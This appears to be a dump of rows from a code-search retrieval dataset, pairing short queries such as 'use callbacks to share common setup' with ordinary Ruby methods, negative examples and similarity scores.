query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
Use callbacks to share common setup or constraints between actions.
|
def set_event
@event = Event.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
an alternative way to create hashes
|
def artax
a = [:punch, 0]
b = [:kick, 72]
c = [:stops_bullets_with_hands, false]
key_value_pairs = [a, b, c]
Hash[key_value_pairs]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash(*) end",
"def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end",
"def to_hash() end",
"def create_hash(&block); end",
"def create_hash(&block); end",
"def hash_hash(h)\n require 'digest/md5'\n Digest::MD5.hexdigest(Marshal::dump(h.sort))\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def create_hash\n require 'digest/md5'\n digest_string = [self.id, self.url, self.referrer, self.created_at].join(\"\")\n self.record_hash = Digest::MD5.hexdigest(digest_string)\n end",
"def hash( *strs )\n return Digest::MD5.hexdigest( strs.join )\n end",
"def hash=(_arg0); end",
"def generate_hash(*args)\n Digest::SHA3.hexdigest(args.join(''))\n\n end",
"def hash()\n #This is a stub, used for indexing\n end",
"def generate_hash(*args)\n Digest::SHA3.hexdigest(args.join(''))\n end",
"def hash\n end",
"def hash\n end",
"def hash\n end",
"def do_hash(input)\n a = OpenSSL::Digest.hexdigest(\"SHA224\", input).to_i % 19\n b = OpenSSL::Digest.hexdigest(\"SHA512\", input).to_i % 19\n [a, b]\n end",
"def hash_of_hashes\n Hash.new do |h1, k1|\n h1[k1] = Hash.new { |h, k| h[k] = [] }\n end\n end",
"def generate_hash\n @groups.flatten.inject([]) {|hash, stone| hash << stone.to_s}.sort.hash\n end",
"def hash\n\t\t\"#{@x}#{@y}\".hash\n\tend",
"def make_hash\n chars = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n string = \"\"\n 20.times do\n string << chars[rand(chars.size-1)]\n end\n hash = Digest::SHA2.hexdigest(string)\n end",
"def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end",
"def hash_hash(h)\n require 'digest/md5'\n\n ordered = h.sort.map { |i| i.class==Hash ? i.sort : i }\n return ordered.to_s\n Digest::MD5.hexdigest(Marshal::dump(ordered))\n end",
"def hash(key); end",
"def to_hash(*_arg0); end",
"def get_hashes(items)\n hashes = []\n items.each do |item|\n hashes.push((Digest::SHA2.new << item).to_s)\n end\n\n return hashes\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def createSHAHash(data)\n\t\treturn Digest::SHA1.digest(data)\n\tend",
"def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"def hash\n digest = Digest::MD5.new\n digest << title.to_s\n digest << content.join('').to_s\n digest.to_s\n end",
"def hash(*args, **_arg1, &block); end",
"def output_hash; end",
"def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend",
"def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end",
"def create_hash(phrase = '')\n Digest::SHA2.hexdigest(phrase) unless phrase.blank?\n end",
"def makehash(body)\n signer = SSH::Key::Signer.new\n if @config.pluginconf[\"sshkey\"]\n signer.add_key_file(@config.pluginconf[\"sshkey\"])\n signer.use_agent = false\n end\n signatures = signer.sign(body).collect { |s| s.signature }\n return Marshal.dump(signatures)\n end",
"def hash\n @hash || calculate_hash!\n end",
"def hash()\n #This is a stub, used for indexing\nend",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def hash\n Zlib.crc32(to_a.map(&:to_s).sort.to_s)\n end",
"def generate_md5(hash, keys)\n data = keys.map{|key|\n extract_key(hash, key)\n }\n Digest::MD5.hexdigest( keys_flat data )\n end",
"def makehash(body)\n Log.debug(\"Creating message hash using #{private_key_file}\")\n\n sign(private_key_file, body.to_s)\n end",
"def split_hash(digest)\n hash_format = Argon2::HashFormat.new(digest)\n # Undo the 2^m_cost operation when encoding the hash to get the original\n # m_cost input back.\n input_m_cost = Math.log2(hash_format.m_cost).to_i\n\n {\n variant: hash_format.variant,\n version: hash_format.version,\n t_cost: hash_format.t_cost,\n m_cost: input_m_cost,\n p_cost: hash_format.p_cost,\n salt: hash_format.salt,\n checksum: hash_format.checksum\n }\n end",
"def calculate_unique_hash\n unique = ''\n unique += self.content if self.content.present?\n unique += self.summary if self.summary.present?\n unique += self.title if self.title.present?\n self.unique_hash = Digest::MD5.hexdigest unique\n end",
"def hash\n swap\n scatter\n completed_string\n end",
"def hash(*tokens)\n result = tokens.flatten.join(joiner)\n cost.times { result = Digest::SHA512.hexdigest(result) }\n result\n end",
"def create_tps_hash(data, hash_type)\n return \"SECRET KEY NOT PROVIDED\" if !defined? @SECRET_KEY\n case hash_type \n when 'HMAC_SHA256'\n OpenSSL::HMAC.hexdigest('sha256', @SECRET_KEY, data)\n when 'SHA512'\n Digest::SHA512.hexdigest(@SECRET_KEY + data)\n when 'SHA256'\n Digest::SHA256.hexdigest(@SECRET_KEY + data)\n when 'MD5'\n Digest::MD5.hexdigest(@SECRET_KEY + data)\n else\n OpenSSL::HMAC.hexdigest('sha512', @SECRET_KEY, data)\n end\n end",
"def hasher\n Hashids.new(@hash_id_state[:salt], @hash_id_state[:length])\n end",
"def get_hash(machines)\n branch = get_branch_id\n hash = Digest::SHA1.hexdigest(machines.sort.join)\n \"#{branch}__#{hash}\"\n end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def hash(tx)\n Digest::SHA256.hexdigest(Digest::SHA256.hexdigest(tx))\nend",
"def calculate_hash!\n entry_hash = to_hash\n entry_hash['description']=nil\n @hash = entry_hash.hash\n end",
"def get_hash(input)\n return $hasher.reset.update(input).to_s\nend",
"def hash\n [amount.hash, currency.hash].hash\n end",
"def hash\n [amount.hash, currency.hash].hash\n end",
"def hash_file path, hash_store\r\n\thexdigest = HASH_DIGEST.hexdigest(open(path, 'rb') { |io| io.read })\r\n\thash_store[hexdigest] << path\r\nend",
"def hash_generator(pass)\n require 'openssl'\n\n # Get hash parameters\n params = hash_decoder\n\n algo = params['algo']\n salt = params['salt']\n\n iter = if params['iter']\n params['iter'].to_i\n else\n 1\n end\n\n new_hash = (salt + pass).each_byte.to_a\n digest = OpenSSL::Digest.new(algo.delete('-'))\n\n 1.upto(iter) do\n digest.reset\n digest << new_hash.pack('c*')\n new_hash = digest.to_s.scan(/../).map(&:hex)\n end\n\n digest.to_s\n end",
"def generate_hexdigest_indexed_list(size_indexed_list, head_size = nil)\n result = {}\n size_indexed_list.each_pair{|old_key, filename_arr|\n filename_arr.each{|filename|\n if head_size == nil\n $stdout.puts \"SHA512 hash calculation: #{filename}\"\n else\n $stdout.puts \"Header (#{head_size}) SHA512 hash calculation: #{filename}\"\n end\n\n hexdigest = get_file_header_sha512(filename, head_size)\n\n if result.has_key?(hexdigest) == false\n result[hexdigest] = []\n end\n result[hexdigest].push(filename)\n }\n }\n return result\nend",
"def to_hash\n memoize(:to_hash) do\n _process_hashed(structures.inject({}) { |acc, elem| Utils.merge(acc, elem) })\n end\n end",
"def hash\n guid.hash\n end",
"def hash_maker(array)\n hash = {}\n array.each do |element|\n hash[element] = {:color => [], :gender => [], :lives => []}\n end\n hash\nend",
"def all_chunk_hashes\n\t\t\n\t\tbegin\n\t\t\t@all_chunk_map = \"\"\n\t\t\t0.upto(num_chunks-1) { |i|\n\t\t\t\t@all_chunk_map += sha1_chunk(i)\n\t\t\t}\n\n\t\tend unless @all_chunk_map\n\t\t@all_chunk_map\n\tend",
"def hash99999\n return nil unless @parts\n\n k = construct\n return nil unless k\n\n Digest::SHA256.hexdigest(construct[0..-6] << '99999')[0..23]\n end",
"def h(*args)\n\n Digest::MD5.hexdigest(args.join(\":\"))\n end",
"def hash(block)\n Digest::SHA256.hexdigest(block.to_s.encode)\n end",
"def hash\r\n return to_s.hash\r\n end",
"def hash\n [].hash\n end",
"def create_hash_from_array(array, hash)\n result = array << hash\n return result\nend",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
"def to_sha(hash)\n # converts a hash to a SHA256\n return Digest::SHA256.hexdigest(JSON.dump(hash))\nend",
"def hash\n @list.each_slice(16).map do |sub|\n \"%02x\" % sub.reduce(:^)\n end.join\n end",
"def hash\n @list.each_slice(16).map do |sub|\n \"%02x\" % sub.reduce(:^)\n end.join\n end",
"def merchanthash\n if version.to_i == 1 \n return HashGenerator::generate(merchant_hash_key, merchant_id, order_id);\n else\n return Digest::SHA512.hexdigest(\"#{merchant_hash_key},#{merchant_id},01,#{order_id},#{gross_amount}\")\n end\n end",
"def save_hashes_for_write\n \n end",
"def create_invite_hash!\n self.invite_hash = Digest::SHA2.new(256).update(\"#{self.serializable_hash}+#{Time.now}+jibffffrrrji!@#sh\").to_s[2..12]\n end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def create_hash(user_pw)\n return Digest::SHA1.hexdigest(user_pw)\nend",
"def _hash(obj)\n obj.transform_values { |v| _renc(v) }\n end"
] |
[
"0.77497303",
"0.77497303",
"0.77497303",
"0.77497303",
"0.77497303",
"0.77497303",
"0.77497303",
"0.7538488",
"0.73652756",
"0.7352551",
"0.72668123",
"0.72668123",
"0.71752876",
"0.71634734",
"0.71634734",
"0.71634734",
"0.71634734",
"0.71634734",
"0.71634734",
"0.71634734",
"0.71634734",
"0.71634734",
"0.71634734",
"0.7008221",
"0.6998957",
"0.69871736",
"0.6974967",
"0.69706154",
"0.68905056",
"0.68843025",
"0.68843025",
"0.68843025",
"0.6815809",
"0.68107736",
"0.6789909",
"0.6788453",
"0.67571676",
"0.675405",
"0.67287636",
"0.67157173",
"0.6669444",
"0.6653093",
"0.6641258",
"0.6641258",
"0.6641258",
"0.66183263",
"0.6614891",
"0.66118395",
"0.6558265",
"0.65545547",
"0.6539374",
"0.6533332",
"0.6530542",
"0.6526058",
"0.6525294",
"0.6506274",
"0.6474526",
"0.6447665",
"0.6443243",
"0.643873",
"0.643844",
"0.64365226",
"0.6436226",
"0.6421288",
"0.64181316",
"0.6407281",
"0.6399816",
"0.6393902",
"0.63909155",
"0.63886636",
"0.63840675",
"0.6363015",
"0.6363015",
"0.6361904",
"0.6359492",
"0.6355218",
"0.6353483",
"0.63412285",
"0.63352054",
"0.6316408",
"0.6315603",
"0.63125485",
"0.63053036",
"0.6304301",
"0.62812215",
"0.6278798",
"0.6278621",
"0.6277642",
"0.6273126",
"0.6273126",
"0.6271665",
"0.62693435",
"0.62681013",
"0.6267361",
"0.6267361",
"0.6267361",
"0.6267361",
"0.6267361",
"0.6267361",
"0.6256308",
"0.6254641"
] |
0.0
|
-1
|
Send points in batches of a hundred. I'm not sure exactly how much the API can cope with in a single call, so this might change.
|
def _send_point(body)
body.each_slice(100) do |p|
conn.post('/?f=wavefront', p.join("\n"), 'application/octet-stream')
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def send_batch\n batch = @batch.map(&:first) # get the requests\n response = send_batch_request(batch)\n\n begin\n responses = JSON.parse(response)\n rescue\n raise Jimson::ClientError::InvalidJSON.new(json)\n end\n\n process_batch_response(responses)\n responses = @batch\n\n @batch = []\n\n responses\n end",
"def send_batch msgs\n @ws.send encode_batch(msgs)\n end",
"def emit_points(metric, points, options= {})\n scope = override_scope options\n\n points.each do |p|\n p[0].kind_of? Time or raise 'Not a Time'\n p[0] = p[0].to_i\n p[1] = p[1].to_f # TODO: stupid to_f will never raise an exception\n end\n\n @metric_svc.submit(metric, points, scope, options)\n end",
"def save_datapoints\n @logger.debug \"Saving #{datapoints.size} datapoints to the #{id} datastream\"\n response = XivelyConnector.connection.post(\"/v2/feeds/#{device.id}/datastreams/#{id}/datapoints\",\n :body => {:datapoints => datapoints}.to_json)\n # If the response succeeded, clear the datapoint buffer and return the response object\n if response.success?\n clear_datapoints_buffer\n response\n else\n logger.error response.response\n raise response.response\n end\n end",
"def send_point(point)\n if opts[:noop]\n logger.log \"Would send: #{point}\"\n return\n end\n\n logger.log(\"Sending: #{point}\", :debug)\n writer.send_point(point)\n end",
"def send_batch(batch)\n return if batch.empty?\n\n logger.debug(\"#{self.class.name}: sending batch of #{batch.size} to Solr\")\n\n json_package = JSON.generate(batch.map { |c| c.output_hash })\n\n begin\n resp = @http_client.post solr_update_url_with_query(@solr_update_args), json_package, \"Content-type\" => \"application/json\"\n rescue StandardError => exception\n end\n\n if exception || resp.status != 200\n error_message = exception ?\n Traject::Util.exception_to_log_message(exception) :\n \"Solr response: #{resp.status}: #{resp.body}\"\n\n logger.error \"Error in Solr batch add. Will retry documents individually at performance penalty: #{error_message}\"\n\n batch.each do |c|\n send_single(c)\n end\n end\n end",
"def send_msgs(t)\n $groups.each { |g| $group_sent_in_btick[g] = 0 } if fmod(t, $big_tick)\n $groups.each do |g|\n $group_sent_in_tick[g] = 0\n $members[g].each do |n|\n sending_rate(g, n, t) # set the sending rate for a node in this\n $group_sent_in_btick[g] += $sent_in_tick[[g,n]]\n $group_sent_in_tick[g] += $sent_in_tick[[g,n]]\n end\n end\nend",
"def send_bulk_message(message)\n\n resp = validate_message(message)\n if resp.result != SendResult.enum[\"Success\"]\n resp\n end\n\n req_factory = InjectionRequestFactory.new(@server_id, @api_key)\n request = req_factory.generate_request(message)\n\n # debug\n request_hash = request.to_hash\n debug_json = request_hash.to_json\n @request_json = debug_json\n\n http_request = HttpRequest.new(http_method, { :http_endpoint => @endpoint, :proxy => @proxy })\n response = http_request.send_request(request)\n @response_json = response.to_json\n\n end",
"def batch_upload_rows(rows, per_page=100); batch_modify_rows('put', rows, per_page); end",
"def add datapoints, opts={}\n datapoints = [*datapoints]\n\n datapoints.each do |dp|\n # we grab these datapoints for ourselves\n dp.goal = self\n \n data = {\n \"sendmail\" => opts[:sendmail] || false\n }.merge(dp.to_hash)\n\n # TODO create_all doesn't work because Ruby's POST encoding of arrays is broken.\n @user.post \"users/me/goals/#{@slug}/datapoints.json\", data\n end\n end",
"def send_points(event, avg = false, rank = false)\n # Parse message parameters\n msg = event.content\n player = parse_player(msg, event.user.name)\n type = parse_type(msg)\n tabs = parse_tabs(msg)\n\n # Retrieve player points, filtered by type and tabs\n points = avg ? player.average_points(type, tabs) : player.points(type, tabs)\n\n # Format and send response\n max = find_max(avg ? :avg_points : :points, type, tabs)\n type = format_type(type).downcase\n tabs = format_tabs(tabs)\n if avg\n if rank\n event << \"#{player.print_name} has an average #{tabs} #{type} rank of #{\"%.3f\" % [20 - points]}.\".squish\n else\n event << \"#{player.print_name} has #{\"%.3f\" % [points]} out of #{\"%.3f\" % max} average #{tabs} #{type} points.\".squish\n end\n else\n event << \"#{player.print_name} has #{points} out of #{max} #{tabs} #{type} points.\".squish\n end\nrescue => e\n lex(e, \"Error computing points.\", event: event)\nend",
"def update_participant_point_totals!\n self.affected_participant_ids.each do |id|\n User.find(id).delay(queue: 'points').update_all_points!\n end\n end",
"def big_google_call()\n\n number_of_step = 30;\n lat_base = 48.810837;\n lat_step = (0.1 / number_of_step);\n lng_base = 2.241837;\n lng_step = (0.22 / number_of_step);\n\n for lat_index in 0..number_of_step\n for lng_index in 0..number_of_step\n this_lat = lat_base + lat_index * lat_step;\n this_lng = lng_base + lng_index * lng_step;\n\n places = google_radar_call([this_lat,this_lng], nil)\n places.each do |place|\n add_one_to_db(place, db)\n end\n end\n end\nend",
"def bulk_call(params)\n path = @version + '/Call/Bulk/'\n method = 'POST'\n return request(path, method, params)\n end",
"def raw(points, openclose = manage_conn)\n writer.open if openclose && writer.respond_to?(:open)\n\n begin\n [points].flatten.each { |p| writer.send_point(p) }\n ensure\n writer.close if openclose && writer.respond_to?(:close)\n end\n end",
"def buy_all_bot(percent_increase = 0.05, chunk = 0.006, prepump_buffer = 0.5)\n markets_url = get_url({ :api_type => \"public\", :action => \"markets\" })\n markets = call_api(markets_url)\n markets.each do |market|\n currency = market[\"MarketCurrency\"]\n base_currency = market[\"BaseCurrency\"]\n market_name = market[\"MarketName\"]\n if market[\"IsActive\"] and base_currency == \"BTC\"\n @market_name = market_name\n buy_bot(percent_increase, chunk, prepump_buffer)\n end\n end\nend",
"def batchify\n nodes = pop(Time.now)\n batches = []\n\n nodes.in_groups_of(50, false) do |group|\n batches << SuperNode::Facebook::Batch.new({\n :access_token => access_token,\n :queue_id => queue_id,\n :batch => group,\n })\n end\n\n batches\n end",
"def send_batch(batch)\n return if batch.empty?\n json_package = JSON.generate(batch.map { |c| c.output_hash })\n begin\n resp = @http_client.post @solr_update_url, json_package, \"Content-type\" => \"application/json\"\n rescue StandardError => exception\n end\n\n if exception || resp.status != 200\n error_message = exception ? \n Traject::Util.exception_to_log_message(exception) : \n \"Solr response: #{resp.status}: #{resp.body}\"\n\n logger.error \"Error in Solr batch add. Will retry documents individually at performance penalty: #{error_message}\"\n \n batch.each do |c|\n send_single(c)\n end\n end\n end",
"def bulk_APIrequests(uri_end, request_type, hash_arr)\r\n\tif(hash_arr.length>0) then\r\n\t\thash_arr.each_slice(99) do |x|\r\n\t\t\tjson = JSON.generate({uri_end => x})\r\n\t\t\t#puts json\r\n\t\t\tres = make_API_request(uri_end,request_type,json)\r\n\t\tend\r\n\telse puts \"No data for #{request_type.capitalize} in array\" end\r\nend",
"def send_to peer\n peer.semaphore.synchronize do \n data = { id: service_id, data: self.data }.to_json\n buffer = Buffer::Writer.new data\n buffer.segments.each { |segment| peer.send_data segment }\n peer.last_used_at = Time.now\n sleep 0.3\n end\n end",
"def send_messages(messages)\n messages.each { |m| write_to_stream m }\nend",
